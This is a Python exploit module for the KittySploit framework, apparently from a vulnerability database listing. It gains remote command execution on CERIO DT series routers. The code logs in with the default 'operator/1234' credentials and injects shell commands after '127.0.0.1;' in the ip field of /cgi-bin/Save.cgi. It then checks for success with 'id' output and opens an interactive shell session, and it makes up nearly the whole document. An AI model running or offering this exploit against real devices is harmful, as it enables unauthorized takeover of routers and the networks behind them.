CERIO DT - Save.cgi Command Injection RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CERIO DT series router Save.cgi command injection — execute session."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'CERIO DT - Save.cgi Command Injection RCE',
'description': (
'Exploits command injection in the ip field of /cgi-bin/Save.cgi (PING operation) '
'on CERIO DT series routers. Requires default operator credentials. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://github.com/20142995/sectool',
'https://github.com/tanjiti/sec_profile',
],
'tags': ['cerio', 'router', 'iot', 'rce', 'cmdi', 'default-creds'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'suggested_followups': ['scanner/http/cerio_dt_rce_detect'],
},
},
}
username = OptString('operator', 'HTTP Basic username', False, advanced=True)
password = OptString('1234', 'HTTP Basic password', False, advanced=True)
def _auth_header(self) -> dict[str, str]:
import base64
creds = base64.b64encode(
f'{self.username}:{self.password}'.encode()
).decode()
return {'Authorization': f'Basic {creds}'}
def execute(self, cmd: str) -> str:
data = f'pid=2061&ip=127.0.0.1;{quote(str(cmd), safe="")}×=1'
headers = {
**self._auth_header(),
'Content-Type': 'application/x-www-form-urlencoded',
}
r = self.http_request(
method='POST',
path='/cgi-bin/Save.cgi?cgi=PING',
data=data,
headers=headers,
allow_redirects=False,
)
return (r.text or '') if r else ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CERIO DT Save.cgi RCE confirmed via id output',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'Save.cgi did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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04 Sep 2026 06:36Current
6.2Medium risk
Vulners AI Score6.2